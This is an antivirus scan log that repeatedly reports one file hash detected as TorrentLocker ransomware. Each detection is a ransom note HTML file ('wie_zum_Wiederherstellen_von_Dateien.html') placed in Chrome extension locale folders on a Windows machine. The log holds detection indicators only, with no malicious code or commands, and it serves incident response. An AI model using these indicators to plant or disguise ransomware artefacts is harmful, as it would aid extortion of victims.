sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\sv\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\th\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\tr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\uk\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\vi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\zh_CN\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\zh_TW\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_metadata\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\ar\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\bg\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\ca\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\cs\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\da\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\de\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\el\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\en\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\en_GB\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\en_US\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\es\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\es_419\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\et\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\fi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\fil\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\fr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\he\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\hi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\hr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_locales\hu\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\_metadata\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\ar\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\bg\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\ca\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\cs\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\da\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\de\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\el\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\en_GB\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\en_US\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\es\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\es_419\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\et\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\fi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\fil\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\fr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\he\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\hi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\hu\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\id\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\it\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\ja\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\ko\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\lt\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\lv\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\ms\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\nl\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\no\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\pl\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\pt_BR\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\pt_PT\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\ro\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\ru\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\sk\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\sl\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\sr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\sv\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\th\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\tr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\uk\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\vi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\zh_CN\wie_zum_Wiederherstellen_von_Dateien.html"

